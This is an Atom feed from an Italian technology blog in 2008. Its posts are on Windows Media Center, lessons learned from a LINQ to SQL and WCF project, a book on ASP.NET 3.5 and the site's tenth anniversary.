<?xml version="1.0" encoding="Windows-1252"?><feed version="0.3" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns="http://purl.org/atom/ns#" xml:lang="it-it"><title>ASP.NET, Media Center e tecnologia - Il blog di Daniele Bochicchio</title><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/" /><tagline type="text/html">ASP.NET, Media Center e tecnologia - Il blog di Daniele Bochicchio</tagline><id>http://blogs.aspitalia.com/daniele/</id><generator url="http://feed.aspitalia.com/" version="ASPItalia.com">feed.ASPItalia.com 'Weyoh' 4.8.818</generator><author><name>ASP.NET, Media Center e tecnologia - Il blog di Daniele Bochicchio</name><url>http://blogs.aspitalia.com/daniele/</url></author><modified>2008-08-20T10:23:45+00:00</modified><entry><title>Media Center TV Pack 2008: per pochi e non per tutti</title><id>http://blogs.aspitalia.com/daniele/post2354/Media-Center-TV-Pack-2008.aspx</id><created>2008-08-07T08:50:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2354' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Ecco che Engadget arriva in soccorso del mondo con un po' di screenshot del nuovo TV Pack per Media Center. Si trovano &lt;a href=&quot;http://www.engadgethd.com/2008/08/06/hands-on-with-the-vista-media-center-tv-pack/&quot; target=&quot;_blank&quot;&gt;qui&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Siamo nel 2008 e finalmente avremo il supporto per l'HD, i tuner ibridi e la possibilit&#224; di dare un numero a piacere ad un canale. So che sembra stano, ma nella RTM di Vista &#232; stata aggiunta la possibilit&#224; di rinominare un canale, tanto per inquadrare quanta fatica ci sia nell'aggiungere funzionalit&#224; che diamo per scontate su una TV da 100 Euro comprata al MediaWorld.&lt;/p&gt;&lt;p&gt;Con la Ultimate&#160;e questo update ora si&#160;possono avere 12 tuner, che &#232; un numero impressionante (ma non so quanto utile, alla fine). La mia curiosit&#224;, visto che a parte la RAI che sperimenta l'HD in 3 zone contate, &#232; se funzioni per noi, ovviamente con l'hardware adeguato, anche con SKY HD, che &#232; di fatto l'unico in Italia a trasmettere in questo modo. Cercher&#242; di indagare.&lt;/p&gt;&lt;p&gt;L'occasione sprecata, questa volta, &#232; nel fatto che molto certamente sar&#224; disponibile come update solo per gli OEM. Quindi se avete comprato un PC con Vista, niente update. Se ve lo siete fatti da soli, ancora meno. E se avete speso 2500$ per un PC con le CableCard, in USA, il minimo &#232; farvele un attimo girare.&lt;/p&gt;&lt;p&gt;Essendo un update di circa 50 MB, stando a Engadget, non &#232; proprio una scelta sana dal punto di vista del consenso popolare. Ma ormai gli entusiasti della prima ora, purtroppo, sono gi&#224; andati largamente verso altre soluzioni: tanto per citarne una, ovviamente Media Portal, che con tutte le sue mancanze (tipo che regista nello stesso thread dell'UI, quindi se crasha la UI addio registrazione...) ha gran parte delle cose che&#160;rendono interessante questa release di&#160;Media Center per il mercato europeo. Ripeto una cosa triste che ho gi&#224; espresso altre volte: &#232; un prodotto venduto in tutto il mondo ma pensato esclusivamente per il mercato USA, visto che noi del supporto ai tuner ASTC ce ne facciamo ben poco...&lt;/p&gt;&lt;p&gt;Se riuscir&#242; a procurarmela, quando sar&#224; in RTM per il pubblico o se la distribuiranno via MSDN, conto di dare una seconda chance e vedere se finalmente non perde le registrazioni perch&#232; &#232; cambiata l'umidit&#224;. Anche se, dopo pi&#249; di un mese, mi trovo benissimo con la &lt;a href=&quot;http://blogs.aspitalia.com/daniele/post2333/Media-Center-Occasione-Sprecata.aspx&quot; target=&quot;_blank&quot;&gt;nuova scelta che ho fatto&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/Media_Center/&quot; rel=&quot;tag&quot;&gt;Media Center&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Windows_Client/&quot; rel=&quot;tag&quot;&gt;Windows Client&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Windows_Vista/&quot; rel=&quot;tag&quot;&gt;Windows Vista&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2354/Media-Center-TV-Pack-2008.aspx"/><issued>2008-08-07T10:50:00+00:00</issued><modified>2008-08-07T10:50:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2354/Media-Center-TV-Pack-2008.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2354.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2354</trackback:ping></entry><entry><title>Usare LINQ to SQL e WCF in un progetto reale</title><id>http://blogs.aspitalia.com/daniele/post2350/Usare-LINQ-SQL-WCF-Progetto-Reale.aspx</id><created>2008-07-31T07:41:22+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2350' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Per reale, pi&amp;#249; che altro, intendo assurdamente delicato :) Da gennaio a luglio &amp;#232; stata sviluppata la nuova versione della community di &lt;a href=&quot;http://www.mtv.it/&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;MTV&lt;/a&gt;, dopo la prima che &amp;#232; stata online per un &lt;a href=&quot;http://blogs.aspitalia.com/daniele/post2037/podi-aspitalia.com-sito-mtv.aspx&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;anno circa&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Si &amp;#232; scelto di ripartire da zero, con una soluzione home made, perch&amp;#232; semplicemente abbiamo scoperto che Community Server non &amp;#232; fatto per quel tipo di carico. Giustamente &lt;a href=&quot;http://blogs.aspitalia.com/imperugo/&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Ugo&lt;/a&gt; ha preferito lavorare con tutte tecnologie nuove e questo ha rappresentato un problema in non pochi casi.&lt;/p&gt; &lt;p&gt;Quando si abbraccia una tecnologia appena rilasciata &amp;#232; facile che si trovino tutti i bug, le idiosincrasie e le stranezze possibili. Ed &amp;#232; facile che si scopra di fare le cavie, tutto sommato. Ammetto di aver provato un po' di astio nei confronti di VS 2008 e TFS 2008, perch&amp;#232; non reggevano bene le soluzioni. Con le patch sul Javascript uscite successivamente, qualcosa &amp;#232; migliorata.&lt;/p&gt; &lt;p&gt;Fermo restando che sono rimasto farevolmente impressionato dalla enorme produttivit&amp;#224; che &lt;strong&gt;LINQ to SQL&lt;/strong&gt; garantisce se si parte disegnando il database come il modello ad oggetti, ho anche capito che &amp;#232; necessario un po' di rodaggio per sfruttarne appieno la caratteristiche. Posso dire per&amp;#242; con assoluta certezza che &amp;#232; una scelta che ha fatto risparmiare non poco tempo in fase di sviluppo, ma ha portato anche ad alcuni compromessi. E spesso lo si utilizza male perch&amp;#232; ci si dimentica che, tutto sommato, LINQ to SQL &amp;#232; magia, ma sotto ha un database.&lt;/p&gt; &lt;p&gt;Si &amp;#232; optati per un'&lt;strong&gt;architettura SOA&lt;/strong&gt;, dunque si &amp;#232; fatto un so massiccio di &lt;strong&gt;WCF&lt;/strong&gt;. Devo dire che perdere tempo a cercare di capire perch&amp;#233; non trovi un assembly che c'&amp;#232;, &amp;#232; definito nella configurazione e non si sa per quale motivo non viene recuperato, per scoprire che uno spazio tra nome della classe e namespace, dopo la virgola, pu&amp;#242; cambiarti la vita, &amp;#232; una di quelle cose che ti fanno riflettere su quanto fragili siano le tecnologie attuali e su quanta (inutile?) frenesia ci sia nel rilascio di alcune.&lt;/p&gt; &lt;p&gt;Tutto sommato sono abbastanza contento di aver usato WCF in questo modo (cio&amp;#232;, non per niente banale), ma se non ci fosse stato &lt;a href=&quot;http://www.scaleoutsoftware.com/&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;ScaleOut&lt;/a&gt; a tenere in cache il mondo intero, con tutte le sue belle funzionalit&amp;#224;, e Stefano a capire perch&amp;#232; WCF ce l'avesse con noi, non saremmo qui a cantare vittoria. Tenetelo a mente se decidete di andare verso questo genere di soluzioni, investendo in un sistema di cache distribuita come nCache, ScaleOut o, quando ci sar&amp;#224;, &lt;a href=&quot;http://blogs.aspitalia.com/daniele/post2295/velocity-ado.net-distributed-cache.aspx&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Velocity&lt;/a&gt;. La cache di ASP.NET &amp;#232; un giocattolino, lento e per niente scalabile. Se volete lavorare con i servizi, il minimo &amp;#232; fare cache di dati in maniera aggressiva, altrimenti poi non c'&amp;#232; da meravigliarsi se l'applicazione ad un tratto fa &lt;em&gt;puff&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;I veri problemi sicuramente sono stati nel far lavorare bene WCF e LINQ to SQL, nel mischiare opportunamente gli attributi sulle classi dell'object model per far s&amp;#236; che funzionassero entrambi: sono sempre stata una persona attenta ai particolari, ma con questi due ragazzi ci vogliono sempre 8 occhi!&lt;/p&gt; &lt;p&gt;Da questo progetto abbiamo tratto un bel po' di esperienza, perch&amp;#232; cose come usare l'&lt;strong&gt;AOP su WCF&lt;/strong&gt; mica ti capita di vederle funzionare tutti i giorni :)&lt;/p&gt; &lt;p&gt;Ho condiviso questo progetto con signori come Ugo, &lt;a href=&quot;http://blogs.aspitalia.com/sm15455/&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Stefano&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/novecento/&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Alessio&lt;/a&gt; e&amp;#160; &lt;a href=&quot;http://blogs.aspitalia.com/nostromo/&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Marco&lt;/a&gt;. E potete solo immaginare quanto ci siamo divertiti nell'acquario! :)&lt;/p&gt; &lt;p&gt;Infine, un monito: cercate di fare in modo che il team capisca appieno dove lo state portando, perch&amp;#232; l'uso di cos&amp;#236; tante tecnologie nuove pu&amp;#242; essere un po' pesante da digerire.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/.NET_Framework/&quot; rel=&quot;tag&quot;&gt;.NET Framework&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/.NET_Framework_3.0/&quot; rel=&quot;tag&quot;&gt;.NET Framework 3.0&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/.NET_Framework_3.5/&quot; rel=&quot;tag&quot;&gt;.NET Framework 3.5&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/LINQ/&quot; rel=&quot;tag&quot;&gt;LINQ&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/LINQ_to_SQL/&quot; rel=&quot;tag&quot;&gt;LINQ to SQL&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Windows_Communication_Foundation/&quot; rel=&quot;tag&quot;&gt;Windows Communication Foundation&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2350/Usare-LINQ-SQL-WCF-Progetto-Reale.aspx"/><issued>2008-07-31T09:41:22+00:00</issued><modified>2008-07-31T09:41:22+00:00</modified><slash:comments>7</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2350/Usare-LINQ-SQL-WCF-Progetto-Reale.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2350.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2350</trackback:ping></entry><entry><title>Ci sono persone speciali</title><id>http://blogs.aspitalia.com/daniele/post2349/Persone-Speciali.aspx</id><created>2008-07-30T14:33:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2349' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;E fortunatamente per me, questi &lt;a href=&quot;http://10annidi.aspitalia.com/&quot;&gt;ultimi 10 anni&lt;/a&gt;&#160;mi hanno accompagnato in questa &lt;a href=&quot;http://www.aspitalia.com/misc/network.aspx&quot;&gt;grande avventura&lt;/a&gt;. Dato che siamo in un momento in cui distribuiamo&#160;premi a pi&#249; non posso,&#160;hanno pensato bene di regalarmi una &lt;strong&gt;Xbox 360 Elite&lt;/strong&gt;. S&#236;, fino a qualche ora fa non avevo una 360, semplicemente perch&#232; mi conosco e vorrei restare concentrato su lavoro. Invece cos&#236; mi toccher&#224; delegare sempre di pi&#249; a loro, io ora ho un Halo 3 in modalit&#224; massacro da finire! :D Fortunatamente la mia parte del nuovo libro &#232; praticamente conclusa :)&lt;/p&gt;&lt;p&gt;In ordine rigorosamenta alfabetico, un grazie ad &lt;a href=&quot;http://blogs.aspitalia.com/novecento/&quot;&gt;Alessio&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/ricciolo/&quot;&gt;Cristian&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/novecento/&quot;&gt;Marco&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/m.casati/&quot;&gt;Matteo&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/rickyvr/&quot;&gt;Ricky&lt;/a&gt;, &lt;a href=&quot;http://blogs.aspitalia.com/sm15455/&quot;&gt;Stefano&lt;/a&gt;&#160;ed &lt;a href=&quot;http://blogs.aspitalia.com/imperugo/&quot;&gt;Ugo&lt;/a&gt;. Perch&#233; non con tutti sono 10 anni che &amp;quot;stiamo insieme&amp;quot;, ma ricordo ancora le prime volte che ci siamo visti con Cristian, la sua prima sessione con 2 (due!) partecipanti a Webbit, le prime mail scambiate con Ricky (e le sue fissazioni architetturali), i 1000 messaggi al secondo di Marco, che poi quando ti incontra per la prima volta &#232; quasi timido (ma devi conoscerlo! :D), la compostezza unica di Alessio (calma olimpionica). Ed ovviamente Stefano, che, dopo&#160;un evento, mi ha approcciato dicendo che voleva scrivere per 15Seconds.com, ma se proprio ci tenevano poteva darli anche a noi i suoi articoli sui custom control con supporto per il design time. Ess&#236; :) Lo zio Ugo, con i suoi 300 mila oggetti in cache ed i &amp;quot;7 mesi con l'imber&#249;&amp;quot;, unici. E Matteo, che piano piano cerchiamo di tirare dentro (ma lui forse ha capito che non &#232; proprio una cosa conveniente farsi incastrare da noi!), nonostante praticamente ci &amp;quot;frequentiamo&amp;quot; virtualmente da sempre.&lt;/p&gt;&lt;p&gt;Con tutti loro ho dovuto faticare, fatico ancora ora per fargli capire il valore di certe cose e convincerli. Per&#242;, da gesti come questi, capisco che ne vale la pena. Perch&#232; bastava un bigliettino, ovviamente, a farmi capire che negli ultimi 10 anni ho costruito, con loro e tutti i nostri utenti, qualcosa di unico: &lt;strong&gt;una community&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;PS: ovviamente, &#232; rigorosamente nera, perch&#232; da queste parti il bianco non dona... :) Lo sapevano, per questo hanno preso una bella Elite! Mitici!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/10annidi/&quot; rel=&quot;tag&quot;&gt;10annidi&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Off_Topic/&quot; rel=&quot;tag&quot;&gt;Off Topic&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2349/Persone-Speciali.aspx"/><issued>2008-07-30T16:33:00+00:00</issued><modified>2008-07-30T16:33:00+00:00</modified><slash:comments>6</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2349/Persone-Speciali.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2349.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2349</trackback:ping></entry><entry><title>Piccola modifica all'indice di 'ASP.NET 3.5 per tutti'</title><id>http://blogs.aspitalia.com/daniele/post2345/Piccola-Modifica-Indice-DiASP.NET-3.5-Tutti.aspx</id><created>2008-07-25T14:08:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2345' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Abbiamo messo su un &lt;a href=&quot;http://books.aspitalia.com/ASP.NET-3.5/&quot;&gt;nuovo indice&lt;/a&gt;, che tiene conto di alcuni cambiamenti necessari.&lt;/p&gt;&lt;p&gt;Troverete pi&#249; capitoli sull'accesso ai dati inteso come uso dei controlli (sono quasi 90 pagine), pi&#249; capitoli sull'accesso ai dati sfruttando LINQ, oltre al resto.&lt;/p&gt;&lt;p&gt;Potete sempre prenotarlo attraverso il sito a 90 centesimi in pi&#249; rispetto al prezzo di copertina, ma con spese di spedizione incluse. Ovviamente siamo contenti sia delle prenotazioni finora ricevute, sia di come sta venendo fuori. E non vediamo l'ora di farvelo leggere! :)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_3.5_per_tutti/&quot; rel=&quot;tag&quot;&gt;ASP.NET 3.5 per tutti&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2345/Piccola-Modifica-Indice-DiASP.NET-3.5-Tutti.aspx"/><issued>2008-07-25T16:08:00+00:00</issued><modified>2008-07-25T16:08:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2345/Piccola-Modifica-Indice-DiASP.NET-3.5-Tutti.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2345.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2345</trackback:ping></entry><entry><title>FAQ su ASP.NET 3.5 per tutti</title><id>http://blogs.aspitalia.com/daniele/post2334/FAQ-ASP.NET-3.5.aspx</id><created>2008-07-18T13:27:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2334' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Visto che in molti lo chiedono, faccio un piccolo riepilogo a beneficio di tutti e, perch&#232; no, anche mio :)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1) Posso avere il libro prima?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;No, semplicemente perch&#232; non &#232; ancora finito. Con il SP1 non ancora in RTM e MVC ancora lontano, alcuni dei capitoli saranno finalizzati poco prima della stampa, con le informazioni pi&#249; aggiornate possibile. La chiusura per la stampa &#232; prevista per met&#224; settembre, quindi non &#232; ovviamente ancora pronto. Direi che un buon 60% del libro &#232; stato fatto, manca quel 40% circa, ad oggi.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2) Da che livello si parte?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Sottoterra :) L'unica cosa che dovete conoscere &#232; l'HTML (e si fa presto, con quei 7 tag in croce). I primi 10 capitoli sono puramente introduttivi, dai linguaggi al Framework, ai concetti principali dell'OOP, fino a come andrebbe strutturata l'architettura di un'applicazione web. L'idea &#232; di fare un libro completo, cos&#236; che per cominciare con ASP.NET 3.5 non sia necessario altro.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;3) Ma allora c'&#232; solo ASP.NET 3.5?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;No, tutti i concetti sono spiegati dalla prima all'ultima versione di ASP.NET. Quindi ci trovate dentro ASP.NET 1.0, 1.1, 2.0, 3.5 e 3.5 SP1. Pi&#249; ASP.NET MVC, che non c'entra per niente ma siamo certi sar&#224; gradito.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;4) Ho gi&#224; ASP.NET 2.0 per tutti, esiste una versione upgrade?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;No, sono due libri completamente diversi. Alcuni degli argomenti sono riproposti in maniera aggiornata, ma altri, come l'introduzione, la parte di accesso ai dati, di deployment e architettura, oltre che tutto quello che riguarda ASP.NET 3.5 + SP1, sono completamente nuove. Dato che siamo a circa 30 capitoli, direi che un buon 60% del libro &#232; totalmente nuovo e tutto il resto &#232; rivisto ed aggiornato.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;5) Si parla di AJAX?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Ovviamente s&#236;, dalla 1.0 alla 3.5 SP 1.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;6) Si parla di &amp;quot;qualsiasi cosa vi venga in mente&amp;quot;?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Forse :) Date un'occhiata al &lt;a href=&quot;http://books.aspitalia.com/ASP.NET-3.5/analitico.pdf&quot;&gt;TOC&lt;/a&gt; per togliervi i dubbi. Nei prossimi giorni lo aggiorneremo per essere pi&#249; chiaro ed attuale.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;7) Se voglio sfogliarlo prima di comprarlo, dove lo posso trovare?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;E' distribuito nelle librerie, ma non possiamo sapere al 100% chi decide di mostarne un po' di copie. Quasi certamente, se siete di Milano, lo troverete alla &lt;strong&gt;libreria Hoepli&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;8) In che linguaggio sono gli esempi?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Noi crediamo fermamente che il linguaggio sia un dettaglio, &#232; la tecnologia che conta, per cui li trovate sia in C# che VB.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;9) Ho altre domande sul libro, dove le faccio?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Un commento a questo post va pi&#249; che bene.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET_3.5_per_tutti/&quot; rel=&quot;tag&quot;&gt;ASP.NET 3.5 per tutti&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2334/FAQ-ASP.NET-3.5.aspx"/><issued>2008-07-18T15:27:00+00:00</issued><modified>2008-07-18T15:27:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2334/FAQ-ASP.NET-3.5.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2334.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2334</trackback:ping></entry><entry><title>Media Center: un'occasione sprecata?</title><id>http://blogs.aspitalia.com/daniele/post2333/Media-Center-Occasione-Sprecata.aspx</id><created>2008-07-18T13:14:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2333' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Da qualche giorno ho attivato &lt;strong&gt;MySKY HD&lt;/strong&gt; e vivo felice. Perch&#232; finora ha fatto il suo (seppur stupido, becero e semplificato) lavoro senza problemi. Perch&#232; registra in HD, ha il supporto per le serie, un EPG decente, registra in dolby e posso schedulare le registrazioni via internet. Tutte cose che, pi&#249; o meno, un Media Center non fa se non scrivete codice, spendete 4-5 k in hardware e bestemmiate almeno ogni 15 giorni perch&#232; non si sa perch&#232; ha saltato una registrazione.&lt;/p&gt;&lt;p&gt;Ho resistito per diversi motivi, non ultimo il fatto che, perch&#232; no, a me piace il DYI (do-it-yourself) e pensavo che spostare le registrazioni per guardarle da altri device potesse interessarmi. Invece alla fine, nonostante io&#160;abbia un sistema di distribuzione del video in tutta la casa, preferisco di gran lunga usare l'LCD da 46'' per guardare qualsiasi cosa. Credo si chiami assuefazione :) E poi, se proprio devo guardarmelo su un pocket, con uno schermo da schifo, posso accontentarmi di registrarlo attraverso il media center in analogico e poi convertirlo. Quelle 2 volte l'anno che mi serve,&#160;&#232; uno sforzo accettabile.&lt;/p&gt;&lt;p&gt;Il tutto mi fa riflettere sull'imminente uscita di &lt;strong&gt;Fiji&lt;/strong&gt;, aka TV Pack 2008 dei poveri. Perch&#232; s&#236;, ci sar&#224; il supporto per l'HD, forse per tuner ibridi, per un nuovo formato di salvataggio (DVR-MS fa schifo come il checkup sugli spaghetti...), udite udite, per il televideo! Ma non conosco tester italiani che&#160;abbiano avuto l'onore di provarlo. Ok, magari non gli piaccio pi&#249; io e quindi dopo 3 giri di testing non sono stato considerato, oppure semplicemente del mercato italiano gli importa marginalmente, tanto &#232; vero che il mio MCE &#232; un lusso che mi concedo perch&#232; non mi piacciono i lettori DVD da tavolo&#160;e quindi preferisco qualcosa di mio, che estendo, per fare questo lavoro e guardare le foto, ascoltare la musica e quelle altre 3-4 robette che servono.&lt;/p&gt;&lt;p&gt;Per&#242;, &#232; un'occasione mancata e nessuno me lo toglie dalla testa. Certo, SKY con MySKY credo non abbia fatto niente di eccezionale ed anzi ha fatto il compitino, per&#242; fa una sola dannata cosa e bene: registra lo stream su un disco fisso come gli arriva, senza encodare o fare cose strane.&lt;/p&gt;&lt;p&gt;MCE &#232; nata come una bella idea, ma poi si &#232; evoluto solo per il mercato USA. Peccato.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/Media_Center/&quot; rel=&quot;tag&quot;&gt;Media Center&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2333/Media-Center-Occasione-Sprecata.aspx"/><issued>2008-07-18T15:14:00+00:00</issued><modified>2008-07-18T15:14:00+00:00</modified><slash:comments>5</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2333/Media-Center-Occasione-Sprecata.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2333.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2333</trackback:ping></entry><entry><title>10annidi.ASPItalia.com: la community ti premia!</title><id>http://blogs.aspitalia.com/daniele/post2327/10annidi.ASPItalia.com-Community-Premia.aspx</id><created>2008-07-16T14:42:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2327' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;E' un po' ci stavamo lavorando e finalmente da qualche ora &lt;a href=&quot;http://10annidi.aspitalia.com/&quot;&gt;siamo live&lt;/a&gt;. L'idea che &#232; in questi 10 anni insieme ci avete dato tanto, per cui per una volta proviamo noi a fare il contrario ;)&lt;/p&gt;&lt;p&gt;Per accumulare punti &#232; necessario iscriversi e c'&#232; una classifica mensile con premi intermedi (questo mese un pacco con VS +&#160;Windows Server 2008 e due ebook offerti da Manning) ed una finale, a gennaio, con dei superpremi (MSDN Premium! :))&lt;/p&gt;&lt;p&gt;Nellaa classifica ci siamo anche noi dello staff, ma ci trovate con un colore differente, perch&#232; i premi saranno distribuiti a chi effettivamente raccoglie punti ;)&lt;/p&gt;&lt;p&gt;Per l'occasione abbiamo deciso di usare un po' di &lt;strong&gt;Siverlight 2.0&lt;/strong&gt;, per cui oltre alla classifica c'&#232; anche nei thread e nel profilo utente un bel box che ricorda lo sforzo fatto per la community. E se si inviano script o articoli che vengono approvati per la pubblicazioni, si possono ricevere punti omaggio. Meglio di cos&#236;... ;)&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://10anni.aspitalia.com/&quot;&gt;Iscrivitevi&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;PS: &#232; sempre un lavoro di gruppo, ma un grazie particolare ad &lt;a href=&quot;http://blogs.aspitalia.com/novecento/&quot;&gt;Alessio&lt;/a&gt;, che &#232; il nostro Silverlight 2.0 man! ;)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a 